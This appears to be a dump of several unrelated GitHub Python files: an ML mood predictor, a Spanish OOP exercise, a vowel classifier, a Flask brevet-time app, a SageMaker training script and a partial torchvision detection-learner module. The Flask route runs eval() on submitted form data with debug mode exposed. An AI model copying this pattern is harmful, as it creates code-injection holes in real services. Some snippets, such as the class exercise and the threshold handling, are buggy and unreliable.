np.array([ row['Sleep'],row['Sleep Chunks'],row['Calories'],row['Mood'],row['Exercise Duration'],row['Exercise Intensity'], row['Alpha'],row['Beta'],row['Theta'],row['Gamma'] ])\n y_pred = clf.predict(np.reshape(x_obj, (1, -1)))\n return y_pred[0]\n\n tmo = predictTomorrow(frames[6].loc[1])\n print(tmo)\n doc_ref.document(row.id).collection('days').document(dt.id).update({'moodpred': tmo})\n return\n\n\n\n# Add Job scheduler\ncron = BackgroundScheduler()\n\n# Add auto-triggered tasks\ncron.add_job(func=train_model, trigger='interval', seconds=30)\ncron.start()\n\n# Shutdown scheduler on close\n# atexit.register(lambda: cron.shutdown(wait=False))\n\nfrom elios import process, analyzer\n","repo_name":"amanb2000/EliOS","sub_path":"ML_Server/elios/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7900347471","text":"#--------------------------------------------------------------------\n# %%\n# \nclass Carrera:\n def __init__(self, nombre):\n self.nombre = nombre\n self.materias = []\n \n def agregar(self , codigo , materia):\n self.materias[codigo] = materia\n\nclass Materia:\n def __init__(self, nombre , profesor , fecha):\n self.nombre = nombre\n self.profesor = profesor\n self.fechaInicioDictado = fecha\n \n @property #Getter\n def fechaInicioDictado (self):\n return self._fechaInicioDictado\n \n @fechaInicioDictado.setter #Setter\n def fechaInicioDictado(self , fecha):\n if fecha < 2006:\n self._fechaInicioDictado = 2006\n else:\n self._fechaInicioDictado = fecha\n# %%\ning = Carrera(\"Ingenieria\")\n\n#--------------------------------------------------------------------\n# %%\n# \nalgebra = Materia(\"Algebra\" , \"Ricardo Quinteros\", 2010)\nfisica = Materia(\"Fisica\" , \"Margarita Gomez\" , 2006)\nquimica = Materia (\"Quimica\" , \"Lorena Rios\" , 2003)\n\n#--------------------------------------------------------------------\n# %%\n# \ning.materias.append(134 , algebra)\ning.materias.append(142 , fisica)\n\ning.materias\n","repo_name":"LucasFQuirogaH/Python","sub_path":"POO/Poo/ocultamiento.py","file_name":"ocultamiento.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15225158297","text":"import numpy as np\nfrom sklearn.linear_model import LinearRegression\n\nfrom Wav.WavReader import WavReader\n\nclass LinModel:\n def __init__(self, lags):\n self.lags = lags\n self.model = LinearRegression()\n\n def mse(self, y, y_hat):\n return np.sum( np.square(y - y_hat) )\n\n def apply_lag(self, signal):\n n = signal.size - max(self.lags)\n if n <= 0: return np.array([[]])\n return np.concatenate( [signal[lag:n+lag].reshape(-1, 1) for lag in self.lags], axis=1 )\n\n def extract_features_and_target(self, signal):\n lag_matrix = self.apply_lag(signal)\n x, y = lag_matrix[:, :-1], lag_matrix[:, -1]\n return x, y\n\n def fit(self, signal):\n x, y = self.extract_features_and_target(signal)\n self.model.fit(x, y)\n return self\n\n def predict(self, signal):\n x, _ = self.extract_features_and_target(signal)\n return self.model.predict(x)\n\n def test(self, signal):\n x, y = self.extract_features_and_target(signal)\n y_hat = self.model.predict(x)\n return self.mse(y, y_hat)\n\n\nclass TemporalClassificator:\n def __init__(self, model_a, model_e, model_i, model_o, model_u):\n self.models = {\n \"a\": model_a,\n \"e\": model_e,\n \"i\": model_i,\n \"o\": model_o,\n \"u\": model_u,\n }\n\n def get_labels(self):\n return list(self.models.keys())\n\n def get_percent_certainty(self, signal):\n errors = np.array([ model.test(signal) for model in self.models.values() ])\n return errors * 100 / np.sum(errors), self.get_labels(),\n\n def classify(self, signal):\n percent_errors, labels = self.get_percent_certainty(signal)\n return percent_errors, labels[ np.argmin(percent_errors) ]\n\n\nstart, end = 32000, 37000\na_data = WavReader(f\"Data/vowels/long/a/a.wav\").get_data()\ne_data = WavReader(f\"Data/vowels/long/e/e.wav\").get_data()\ni_data = WavReader(f\"Data/vowels/long/i/i.wav\").get_data()\no_data = WavReader(f\"Data/vowels/long/o/o.wav\").get_data()\nu_data = WavReader(f\"Data/vowels/long/u/u.wav\").get_data()\n\nlags = [0, 25, 50, 75, 100, 125, 150, 175, 200, 225, 250, 275, 300, 325, 350, 375, 400, 425, 450]\n\nmodel_a = LinModel(lags).fit(a_data.extract_portion(start, end).data)\nmodel_e = LinModel(lags).fit(e_data.extract_portion(start, end).data)\nmodel_i = LinModel(lags).fit(i_data.extract_portion(start, end).data)\nmodel_o = LinModel(lags).fit(o_data.extract_portion(start, end).data)\nmodel_u = LinModel(lags).fit(u_data.extract_portion(start, end).data)\n\nclassifier = TemporalClassificator(model_a, model_e, model_i, model_o, model_u)\n\nfor batch in u_data.batch(5000, 13000):\n percent_errors, result = classifier.classify( batch.data )\n print(percent_errors, result)","repo_name":"AlejandroSalgadoG/Audio","sub_path":"TemporalClassificator.py","file_name":"TemporalClassificator.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44652055611","text":"\"\"\"\nReplacement for RUSA ACP brevet time calculator\n(see https://rusa.org/octime_acp.html)\n\n\"\"\"\n\nimport os\nimport flask\nfrom flask import request\nimport arrow # Replacement for datetime, based on moment.js\nimport acp_times # Brevet time calculations\nimport db # Database operations\n\n\n###\n# Globals\n###\napp = flask.Flask(__name__)\n\ndb_client = db.Mongodb(os.environ['MONGODB_HOSTNAME'])\ndb_client.connect()\ndb_client.set_db(\"brevetsdb\")\ndb_client.set_collection(\"latestsubmit\")\n\n###\n# Pages\n###\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n app.logger.debug(\"Main page entry\")\n return flask.render_template('calc.html')\n\n\n@app.route(\"/insert\", methods=[\"POST\"])\ndef submit():\n data = request.form.to_dict()\n # Converting string representation of list to a list\n data['table'] = eval(data['table'])\n table = data['table']\n # Remove the previous submit result\n db_client.delete_all_rows()\n\n for i in range(len(table)):\n row = table[str(i)]\n for key, value in row.items():\n if key == \"km\":\n row[key] = int(value)\n db_client.insert(row)\n return flask.jsonify(output=str(data))\n\n\n@app.route(\"/display\")\ndef display():\n retrieval = db_client.list_all_rows()\n brevet = begin_date = \"\"\n if len(retrieval) > 0:\n brevet = retrieval[0]['brevet']\n begin_date = retrieval[0]['begin']\n return flask.render_template('display.html', result=retrieval, brevet=brevet, begin=begin_date)\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n app.logger.debug(\"Page not found\")\n return flask.render_template('404.html'), 404\n\n\n###############\n#\n# AJAX request handlers\n# These return JSON, rather than rendering pages.\n#\n###############\n@app.route(\"/_calc_times\")\ndef _calc_times():\n \"\"\"\n Calculates open/close times from miles, using rules\n described at https://rusa.org/octime_alg.html.\n Expects one URL-encoded argument, the number of miles.\n \"\"\"\n app.logger.debug(\"Got a JSON request\")\n km = request.args.get('km', 999, type=float)\n brevet_dist = request.args.get('brevet_dist', 200, type=int)\n begin_date = request.args.get('begin_date', '2021-01-01T00:00', type=str)\n\n app.logger.debug(\"km={}\".format(km))\n app.logger.debug(\"brevet_dist={}\".format(brevet_dist))\n app.logger.debug(\"begin_date={}\".format(begin_date))\n app.logger.debug(\"request.args: {}\".format(request.args))\n\n open_time = acp_times.open_time(km, brevet_dist, arrow.get(begin_date)).format('YYYY-MM-DDTHH:mm')\n close_time = acp_times.close_time(km, brevet_dist, arrow.get(begin_date)).format('YYYY-MM-DDTHH:mm')\n result = {\"open\": open_time, \"close\": close_time}\n\n return flask.jsonify(result=result)\n\n\n#############\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", debug=True)\n","repo_name":"yebin-yun/ACP-Brevet-Control-Times-Calculator","sub_path":"brevets/brevetsapp/flask_brevets.py","file_name":"flask_brevets.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9382820010","text":"import argparse\nimport os\nimport pandas as pd\n\nfrom sklearn.externals import joblib\n\nfrom sklearn.ensemble import GradientBoostingClassifier\n\n# This is a general framework for testing models in SageMaker. \n# I'm keeping the structure the same, but using some shortcuts to make the process smoother.\n\n# Model load function\ndef model_fn(model_dir):\n \"\"\"Load model from the model_dir. This is the same model that is saved\n in the main if statement.\n \"\"\"\n print(\"Loading model.\")\n \n # load using joblib\n model = joblib.load(os.path.join(model_dir, \"model.joblib\"))\n print(\"Done loading model.\")\n \n return model\n\n\nif __name__ == '__main__':\n \n # All of the model parameters and training parameters are sent as arguments\n \n # Here we set up an argument parser to easily access the parameters\n parser = argparse.ArgumentParser()\n\n # SageMaker parameters, like the directories for training data and saving models are set automatically\n \n parser.add_argument('--output-data-dir', type=str, default=os.environ['SM_OUTPUT_DATA_DIR'])\n parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])\n parser.add_argument('--data-dir', type=str, default=os.environ['SM_CHANNEL_TRAIN'])\n \n# Add any additional arguments that you will need to pass into your model\n# Since we already found parameters that we like, we can simply paste them in \n\n\n # args holds all passed-in arguments\n args = parser.parse_args()\n\n training_dir = args.data_dir\n train_data = pd.read_csv(os.path.join(training_dir, \"train.csv\"), header=None, names=None)\n\n # Labels are in the first column\n train_y = train_data.iloc[:,0]\n train_x = train_data.iloc[:,1:]\n \n \n model = GradientBoostingClassifier(criterion='friedman_mse', init=None,\n learning_rate=0.020833333333333332, loss='deviance',\n max_depth=11, max_features=None, max_leaf_nodes=None,\n min_impurity_decrease=0.0, min_impurity_split=None,\n min_samples_leaf=21, min_samples_split=16,\n min_weight_fraction_leaf=0.0, n_estimators=87,\n n_iter_no_change=None, presort='auto',\n random_state=945945, subsample=0.97, tol=0.0001,\n validation_fraction=0.1, verbose=0,\n warm_start=False)\n model.fit(X=train_x, y=train_y)\n \n # Save the trained model\n joblib.dump(model, os.path.join(args.model_dir, \"model.joblib\"))","repo_name":"Shampjeff/607_final_project","sub_path":"source_sklearn/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9918052004","text":"import os\nimport itertools\nimport json\nfrom typing import Callable, List, Tuple, Union, Generator, Optional, Dict\n\nfrom pathlib import Path\nimport shutil\n\nfrom PIL import Image\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torchvision import transforms\nfrom torchvision.models.detection import (\n fasterrcnn_resnet50_fpn,\n keypointrcnn_resnet50_fpn,\n maskrcnn_resnet50_fpn,\n)\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\nfrom torchvision.models.detection.keypoint_rcnn import KeypointRCNNPredictor\nfrom torchvision.models.detection.mask_rcnn import MaskRCNNPredictor\nfrom torch.utils.data import Dataset, DataLoader, Subset\nimport matplotlib.pyplot as plt\n\nfrom .references.engine import train_one_epoch, evaluate\nfrom .references.coco_eval import CocoEvaluator\nfrom .references.pycocotools_cocoeval import compute_ap\nfrom .bbox import bboxes_iou, DetectionBbox\nfrom ..common.gpu import torch_device\n\n\ndef _extract_od_results(\n pred: Dict[str, np.ndarray],\n labels: List[str],\n im_path: Union[str, Path] = None,\n) -> Dict:\n \"\"\" Gets the bounding boxes, masks and keypoints from the prediction object.\n\n Args:\n pred: the output of passing in an image to torchvision's FasterRCNN\n or MaskRCNN model, detached in the form of numpy array\n labels: list of labels without \"__background__\".\n im_path: the image path of the preds\n\n Return:\n a dict of DetectionBboxes, masks and keypoints\n \"\"\"\n pred_labels = pred[\"labels\"].tolist()\n pred_boxes = pred[\"boxes\"].tolist()\n pred_scores = pred[\"scores\"].tolist()\n\n det_bboxes = []\n for label, box, score in zip(pred_labels, pred_boxes, pred_scores):\n label_name = labels[label - 1]\n det_bbox = DetectionBbox.from_array(\n box,\n score=score,\n label_idx=label,\n label_name=label_name,\n im_path=im_path,\n )\n det_bboxes.append(det_bbox)\n\n out = {\"det_bboxes\": det_bboxes, \"im_path\": im_path}\n\n if \"masks\" in pred:\n out[\"masks\"] = pred[\"masks\"].squeeze(1)\n\n if \"keypoints\" in pred:\n out[\"keypoints\"] = pred[\"keypoints\"]\n\n return out\n\n\ndef _apply_threshold(\n pred: Dict[str, np.ndarray], threshold: Optional[float] = 0.5\n) -> Dict:\n \"\"\" Return prediction results that are above the threshold if any.\n\n Args:\n pred: the output of passing in an image to torchvision's FasterRCNN\n or MaskRCNN model, detached in the form of numpy array\n threshold: iou threshold for a positive detection. Note: set\n threshold to None to omit a threshold\n \"\"\"\n # apply score threshold\n if threshold:\n selected = pred[\"scores\"] > threshold\n pred = {k: v[selected] for k, v in pred.items()}\n # apply mask threshold\n if \"masks\" in pred:\n pred[\"masks\"] = pred[\"masks\"] > 0.5\n return pred\n\n\ndef _get_pretrained_rcnn(\n model_func: Callable[..., nn.Module],\n # transform parameters\n min_size: int = 800,\n max_size: int = 1333,\n # RPN parameters\n rpn_pre_nms_top_n_train: int = 2000,\n rpn_pre_nms_top_n_test: int = 1000,\n rpn_post_nms_top_n_train: int = 2000,\n rpn_post_nms_top_n_test: int = 1000,\n rpn_nms_thresh: float = 0.7,\n # Box parameters\n box_score_thresh: int = 0.05,\n box_nms_thresh: float = 0.5,\n box_detections_per_img: int = 100,\n) -> nn.Module:\n \"\"\" Gets a pretrained FasterRCNN model\n\n Args:\n model_func: pretrained R-CNN model generating functions, such as\n fasterrcnn_resnet50_fpn(), get_pretrained_fasterrcnn(), etc.\n min_size: minimum size of the image to be rescaled before feeding it to the backbone\n max_size: maximum size of the image to be rescaled before feeding it to the backbone\n rpn_pre_nms_top_n_train: number of proposals to keep before applying NMS during training\n rpn_pre_nms_top_n_test: number of proposals to keep before applying NMS during testing\n rpn_post_nms_top_n_train: number of proposals to keep after applying NMS during training\n rpn_post_nms_top_n_test: number of proposals to keep after applying NMS during testing\n rpn_nms_thresh: NMS threshold used for postprocessing the RPN proposals\n\n Returns\n The pre-trained model\n \"\"\"\n model = model_func(\n pretrained=True,\n min_size=min_size,\n max_size=max_size,\n rpn_pre_nms_top_n_train=rpn_pre_nms_top_n_train,\n rpn_pre_nms_top_n_test=rpn_pre_nms_top_n_test,\n rpn_post_nms_top_n_train=rpn_post_nms_top_n_train,\n rpn_post_nms_top_n_test=rpn_post_nms_top_n_test,\n rpn_nms_thresh=rpn_nms_thresh,\n box_score_thresh=box_score_thresh,\n box_nms_thresh=box_nms_thresh,\n box_detections_per_img=box_detections_per_img,\n )\n return model\n\n\ndef _tune_box_predictor(model: nn.Module, num_classes: int) -> nn.Module:\n \"\"\" Tune box predictor in the model. \"\"\"\n # get number of input features for the classifier\n in_features = model.roi_heads.box_predictor.cls_score.in_features\n\n # replace the pre-trained head with a new one\n # that has num_classes which is based on the dataset\n model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)\n return model\n\n\ndef _tune_mask_predictor(model: nn.Module, num_classes: int) -> nn.Module:\n \"\"\" Tune mask predictor in the model. \"\"\"\n # get the number of input features of mask predictor from the pretrained model\n in_features = model.roi_heads.mask_predictor.conv5_mask.in_channels\n # replace the mask predictor with a new one\n model.roi_heads.mask_predictor = MaskRCNNPredictor(\n in_features, 256, num_classes\n )\n return model\n\n\ndef get_pretrained_fasterrcnn(num_classes: int = None, **kwargs) -> nn.Module:\n \"\"\" Gets a pretrained FasterRCNN model\n\n Args:\n num_classes: number of output classes of the model (including the\n background). If None, 91 as COCO datasets.\n\n Returns\n The model to fine-tine/inference with\n\n For a list of all parameters see:\n https://github.com/pytorch/vision/blob/master/torchvision/models/detection/faster_rcnn.py\n \"\"\"\n # TODO - reconsider that num_classes includes background. This doesn't feel\n # intuitive.\n\n # load a model pre-trained on COCO\n model = _get_pretrained_rcnn(fasterrcnn_resnet50_fpn, **kwargs)\n\n # if num_classes is specified, then create new final bounding box\n # prediction layers, otherwise use pre-trained layers\n if num_classes:\n model = _tune_box_predictor(model, num_classes)\n\n return model\n\n\ndef get_pretrained_maskrcnn(num_classes: int = None, **kwargs) -> nn.Module:\n \"\"\" Gets a pretrained Mask R-CNN model\n\n Args:\n num_classes: number of output classes of the model (including the\n background). If None, 91 as COCO datasets.\n\n Returns\n The model to fine-tine/inference with\n\n For a list of all parameters see:\n https://github.com/pytorch/vision/blob/master/torchvision/models/detection/mask_rcnn.py\n\n \"\"\"\n # load a model pre-trained on COCO\n model = _get_pretrained_rcnn(maskrcnn_resnet50_fpn, **kwargs)\n\n # if num_classes is specified, then create new final bounding box\n # and mask prediction layers, otherwise use pre-trained layers\n if num_classes:\n model = _tune_box_predictor(model, num_classes)\n model = _tune_mask_predictor(model, num_classes)\n\n return model\n\n\ndef get_pretrained_keypointrcnn(\n num_classes: int = None, num_keypoints: int = None, **kwargs\n) -> nn.Module:\n \"\"\" Gets a pretrained Keypoint R-CNN model\n\n Args:\n num_classes: number of output classes of the model (including the\n background). If none of num_classes and num_keypoints below are\n not specified, the pretrained model will be returned.\n num_keypoints: number of keypoints\n Returns\n The model to fine-tune/inference with\n\n For a list of all parameters see:\n https://github.com/pytorch/vision/blob/master/torchvision/models/detection/keypoint_rcnn.py\n\n \"\"\"\n # load a model pre-trained on COCO\n model = _get_pretrained_rcnn(keypointrcnn_resnet50_fpn, **kwargs)\n\n if num_classes:\n model = _tune_box_predictor(model, num_classes)\n\n # tune keypoints predictor in the model\n if num_keypoints:\n # get the number of input features of keypoint predictor from the pretrained model\n in_features = (\n model.roi_heads.keypoint_predictor.kps_score_lowres.in_channels\n )\n # replace the keypoint predictor with a new one\n model.roi_heads.keypoint_predictor = KeypointRCNNPredictor(\n in_features, num_keypoints\n )\n\n return model\n\n\ndef _calculate_ap(\n e: CocoEvaluator, \n iou_thres: float = None,\n area_range: str ='all',\n max_detections: int = 100,\n mode: int = 1,\n) -> Dict[str, float]:\n \"\"\" Calculate the average precision/recall for differnt IoU ranges.\n\n Args:\n iou_thres: IoU threshold (options: value in [0.5, 0.55, 0.6, ..., 0.95] or None to average over that range)\n area_range: area size range of the target (options: ['all', 'small', 'medium', 'large'])\n max_detections: maximum number of detection frames in a single image (options: [1, 10, 100])\n mode: set to 1 for average precision and otherwise returns average recall\n \"\"\"\n ap = {}\n for key in e.coco_eval:\n ap[key] = compute_ap(e.coco_eval[key], iouThr=iou_thres, areaRng=area_range, maxDets=max_detections, ap=mode)\n\n return ap\n\n\ndef _im_eval_detections(\n iou_threshold: float,\n score_threshold: float,\n gt_bboxes: List[DetectionBbox],\n det_bboxes: List[DetectionBbox],\n):\n \"\"\" Count number of wrong detections and number of missed objects for a single image \"\"\"\n # Remove all detections with confidence score below a certain threshold\n if score_threshold is not None:\n det_bboxes = [\n bbox for bbox in det_bboxes if bbox.score > score_threshold\n ]\n\n # Image level statistics.\n # Store (i) if image has at least one missing ground truth; (ii) if image has at least one incorrect detection.\n im_missed_gt = False\n im_wrong_det = False\n\n # Object level statistics.\n # Store (i) if ground truth objects were found; (ii) if detections are correct.\n found_gts = [False] * len(gt_bboxes)\n correct_dets = [False] * len(det_bboxes)\n\n # Check if any object was detected in an image\n if len(det_bboxes) == 0:\n if len(gt_bboxes) > 0:\n im_missed_gt = True\n\n else:\n # loop over ground truth objects and all detections for a given image\n for gt_index, gt_bbox in enumerate(gt_bboxes):\n gt_label = gt_bbox.label_name\n\n for det_index, det_bbox in enumerate(det_bboxes):\n det_label = det_bbox.label_name\n iou_overlap = bboxes_iou(gt_bbox, det_bbox)\n\n # mark as good if detection has same label as the ground truth,\n # and if the intersection-over-union area is above a threshold\n if gt_label == det_label and iou_overlap >= iou_threshold:\n found_gts[gt_index] = True\n correct_dets[det_index] = True\n\n # Check if image has at least one wrong detection, or at least one missing ground truth\n im_wrong_det = min(correct_dets) == 0\n if len(gt_bboxes) > 0 and min(found_gts) == 0:\n im_missed_gt = True\n\n # Count\n obj_missed_gt = len(found_gts) - np.sum(found_gts)\n obj_wrong_det = len(correct_dets) - np.sum(correct_dets)\n return im_wrong_det, im_missed_gt, obj_wrong_det, obj_missed_gt\n\n\ndef ims_eval_detections(\n detections: List[Dict],\n data_ds: Subset,\n detections_neg: List[Dict] = None,\n iou_threshold: float = 0.5,\n score_thresholds: List[float] = np.linspace(0, 1, 51),\n):\n \"\"\" Count number of wrong detections and number of missed objects for multiple image \"\"\"\n score_thresholds = [int(f) for f in score_thresholds]\n\n # get detection bounding boxes and corresponding ground truth for all images\n det_bboxes_list = [d[\"det_bboxes\"] for d in detections]\n gt_bboxes_list = [\n data_ds.dataset.anno_bboxes[d[\"idx\"]] for d in detections\n ]\n\n # Get counts for test images\n out = [\n [\n _im_eval_detections(\n iou_threshold,\n score_threshold,\n gt_bboxes_list[i],\n det_bboxes_list[i],\n )\n for i in range(len(det_bboxes_list))\n ]\n for score_threshold in score_thresholds\n ]\n out = np.array(out)\n im_wrong_det_counts = np.sum(out[:, :, 0], 1)\n im_missed_gt_counts = np.sum(out[:, :, 1], 1)\n obj_wrong_det_counts = np.sum(out[:, :, 2], 1)\n obj_missed_gt_counts = np.sum(out[:, :, 3], 1)\n\n # Count how many images have either a wrong detection or a missed ground truth\n im_error_counts = np.sum(np.max(out[:, :, 0:2], 2), 1)\n\n # Get counts for negative images\n if detections_neg:\n neg_scores = [\n [box.score for box in d[\"det_bboxes\"]] for d in detections_neg\n ]\n neg_scores = [scores for scores in neg_scores if scores != []]\n im_neg_det_counts = [\n np.sum([np.max(scores) > thres for scores in neg_scores])\n for thres in score_thresholds\n ]\n obj_neg_det_counts = [\n np.sum(np.array(list(itertools.chain(*neg_scores))) > thres)\n for thres in score_thresholds\n ]\n assert (\n len(im_neg_det_counts)\n == len(obj_neg_det_counts)\n == len(score_thresholds)\n )\n\n else:\n im_neg_det_counts = None\n obj_neg_det_counts = None\n\n assert (\n len(im_error_counts)\n == len(im_wrong_det_counts)\n == len(im_missed_gt_counts)\n == len(obj_missed_gt_counts)\n == len(obj_wrong_det_counts)\n == len(score_thresholds)\n )\n\n return (\n score_thresholds,\n im_error_counts,\n im_wrong_det_counts,\n im_missed_gt_counts,\n obj_wrong_det_counts,\n obj_missed_gt_counts,\n im_neg_det_counts,\n obj_neg_det_counts,\n )\n\n\nclass DetectionLearner:\n \"\"\" Detection Learner for Object Detection\"\"\"\n\n def __init__(\n self,\n dataset: Dataset = None,\n model: nn.Module = None,\n im_size: int = None,\n device: torch.device = None,\n labels: List[str] = None,\n ):\n \"\"\" Initialize leaner object.\n\n You can only specify an image size `im_size` if `model` is not given.\n\n Args:\n dataset: the dataset. This class will infer labels if dataset is present.\n model: the nn.Module you wish to use\n im_size: image size for your model\n \"\"\"\n # if model is None, dataset must not be\n if not model:\n assert dataset is not None\n\n # not allowed to specify im size if you're providing a model\n if model:\n assert im_size is None\n\n # if dataset is not None, labels must be (since it is already set in dataset)\n if not dataset:\n assert labels is not None\n\n # if im_size is not specified, use 500\n if im_size is None:\n im_size = 500\n\n self.device = device\n if self.device is None:\n self.device = torch_device()\n\n self.model = model\n self.dataset = dataset\n self.im_size = im_size\n\n # make sure '__background__' is not included in labels\n if dataset and \"labels\" in dataset.__dict__:\n self.labels = dataset.labels\n elif labels is not None:\n self.labels = labels\n else:\n raise ValueError(\"No labels provided in dataset.labels or labels\")\n\n # setup model, default to fasterrcnn\n if self.model is None:\n self.model = get_pretrained_fasterrcnn(\n len(self.labels) + 1,\n min_size=self.im_size,\n max_size=self.im_size,\n )\n\n self.model.to(self.device)\n\n def __getattr__(self, attr):\n if attr in self.__dict__:\n return self.__dict__[attr]\n raise AttributeError(\n \"'{}' object has no attribute '{}'\".format(\n type(self).__name__, attr\n )\n )\n\n def fit(\n self,\n epochs: int,\n lr: float = 0.005,\n momentum: float = 0.9,\n weight_decay: float = 0.0005,\n print_freq: int = 10,\n step_size: int = None,\n gamma: float = 0.1,\n skip_evaluation: bool = False,\n ) -> None:\n \"\"\" The main training loop. \"\"\"\n\n if not self.dataset:\n raise Exception(\"No dataset provided\")\n\n # reduce learning rate every step_size epochs by a factor of gamma (by default) 0.1.\n if step_size is None:\n step_size = int(np.round(epochs / 1.5))\n\n # construct our optimizer\n params = [p for p in self.model.parameters() if p.requires_grad]\n self.optimizer = torch.optim.SGD(\n params, lr=lr, momentum=momentum, weight_decay=weight_decay\n )\n\n # and a learning rate scheduler\n self.lr_scheduler = torch.optim.lr_scheduler.StepLR(\n self.optimizer, step_size=step_size, gamma=gamma\n )\n\n # store data in these arrays to plot later\n self.losses = []\n self.ap = []\n self.ap_iou_point_5 = []\n\n # main training loop\n self.epochs = epochs\n for epoch in range(self.epochs):\n\n # train for one epoch, printing every 10 iterations\n logger = train_one_epoch(\n self.model,\n self.optimizer,\n self.dataset.train_dl,\n self.device,\n epoch,\n print_freq=print_freq,\n )\n self.losses.append(logger.meters[\"loss\"].median)\n\n # update the learning rate\n self.lr_scheduler.step()\n\n # evaluate\n if not skip_evaluation:\n e = self.evaluate(dl=self.dataset.test_dl)\n self.ap.append(_calculate_ap(e))\n self.ap_iou_point_5.append(\n _calculate_ap(e)\n )\n\n def plot_precision_loss_curves(\n self, figsize: Tuple[int, int] = (10, 5)\n ) -> None:\n \"\"\" Plot training loss from calling `fit` and average precision on the\n test set. \"\"\"\n fig = plt.figure(figsize=figsize)\n ap = {k: [dic[k] for dic in self.ap] for k in self.ap[0]}\n\n for i, (k, v) in enumerate(ap.items()):\n\n ax1 = fig.add_subplot(1, len(ap), i + 1)\n\n ax1.set_xlim([0, self.epochs - 1])\n ax1.set_xticks(range(0, self.epochs))\n ax1.set_xlabel(\"epochs\")\n ax1.set_ylabel(\"loss\", color=\"g\")\n ax1.plot(self.losses, \"g-\")\n\n ax2 = ax1.twinx()\n ax2.set_ylabel(f\"AP for {k}\", color=\"b\")\n ax2.plot(v, \"b-\")\n\n fig.suptitle(\"Loss and Average Precision (AP) over Epochs\")\n\n def evaluate(self, dl: DataLoader = None) -> CocoEvaluator:\n \"\"\" eval code on validation/test set and saves the evaluation results\n in self.results.\n\n Raises:\n Exception: if both `dl` and `self.dataset` are None.\n \"\"\"\n if dl is None:\n if not self.dataset:\n raise Exception(\"No dataset provided for evaluation\")\n dl = self.dataset.test_dl\n self.results = evaluate(self.model, dl, device=self.device)\n return self.results\n\n def predict(\n self,\n im_or_path: Union[np.ndarray, Union[str, Path]],\n threshold: Optional[int] = 0.5,\n ) -> Dict:\n \"\"\" Performs inferencing on an image path or image.\n\n Args:\n im_or_path: the image array which you can get from\n `Image.open(path)` or a image path\n threshold: the threshold to use to calculate whether the object was\n detected. Note: can be set to None to return all detection\n bounding boxes.\n\n Return a list of DetectionBbox\n \"\"\"\n if isinstance(im_or_path, (str, Path)):\n im = Image.open(im_or_path)\n im_path = im_or_path\n else:\n im = im_or_path\n im_path = None\n\n # convert the image to the format required by the model\n transform = transforms.Compose([transforms.ToTensor()])\n im = transform(im)\n if self.device:\n im = im.to(self.device)\n\n model = self.model.eval() # eval mode\n with torch.no_grad():\n pred = model([im])[0]\n\n # detach prediction results to cpu\n pred = {k: v.detach().cpu().numpy() for k, v in pred.items()}\n return _extract_od_results(\n _apply_threshold(pred, threshold=threshold), self.labels, im_path\n )\n\n def predict_dl(\n self, dl: DataLoader, threshold: Optional[float] = 0.5\n ) -> List[DetectionBbox]:\n \"\"\" Predict all images in a dataloader object.\n\n Args:\n dl: the dataloader to predict on\n threshold: iou threshold for a positive detection. Note: set\n threshold to None to omit a threshold\n\n Returns a list of results\n \"\"\"\n pred_generator = self.predict_batch(dl, threshold=threshold)\n return [pred for preds in pred_generator for pred in preds]\n\n def predict_batch(\n self, dl: DataLoader, threshold: Optional[float] = 0.5\n ) -> Generator[List[DetectionBbox], None, None]:\n \"\"\" Batch predict\n\n Args\n dl: A DataLoader to load batches of images from\n threshold: iou threshold for a positive detection. Note: set\n threshold to None to omit a threshold\n\n Returns an iterator that yields a batch of detection bboxes for each\n image that is scored.\n \"\"\"\n\n model = self.model.eval()\n\n for i, batch in enumerate(dl):\n ims, infos = batch\n ims = [im.to(self.device) for im in ims]\n with torch.no_grad():\n raw_dets = model(ims)\n\n results = []\n for det, info in zip(raw_dets, infos):\n im_id = int(info[\"image_id\"].item())\n # detach prediction results to cpu\n pred = {k: v.detach().cpu().numpy() for k, v in det.items()}\n extracted_res = _extract_od_results(\n _apply_threshold(pred, threshold=threshold),\n self.labels,\n dl.dataset.dataset.im_paths[im_id],\n )\n results.append({\"idx\": im_id, **extracted_res})\n\n yield results\n\n def save(\n self, name: str, path: str = None, overwrite: bool = True\n ) -> None:\n \"\"\" Saves the model\n\n Save your model in the following format:\n /data_path()\n +-- <name>\n | +-- meta.json\n | +-- model.pt\n\n The meta.json will contain information like the labels and the im_size\n The model.pt will contain the weights of the model\n\n Args:\n name: the name you wish to save your model under\n path: optional path to save your model to, will use `data_path`\n otherwise\n overwrite: overwrite existing models\n\n Raise:\n Exception if model file already exists but overwrite is set to\n false\n\n Returns None\n \"\"\"\n if path is None:\n path = Path(self.dataset.root) / \"models\"\n\n # make dir if not exist\n if not Path(path).exists():\n os.mkdir(path)\n\n # make dir to contain all model/meta files\n model_path = Path(path) / name\n if model_path.exists():\n if overwrite:\n shutil.rmtree(str(model_path))\n else:\n raise Exception(\n f\"Model of {name} already exists in {path}. Set `overwrite=True` or use another name\"\n )\n os.mkdir(model_path)\n\n # set names\n pt_path = model_path / f\"model.pt\"\n meta_path = model_path / f\"meta.json\"\n\n # save pt\n torch.save(self.model.state_dict(), pt_path)\n\n # save meta file\n meta_data = {\"labels\": self.dataset.labels, \"im_size\": self.im_size}\n with open(meta_path, \"w\") as meta_file:\n json.dump(meta_data, meta_file)\n\n print(f\"Model is saved to {model_path}\")\n\n def load(self, name: str = None, path: str = None) -> None:\n \"\"\" Loads a model.\n\n Loads a model that is saved in the format that is outputted in the\n `save` function.\n\n 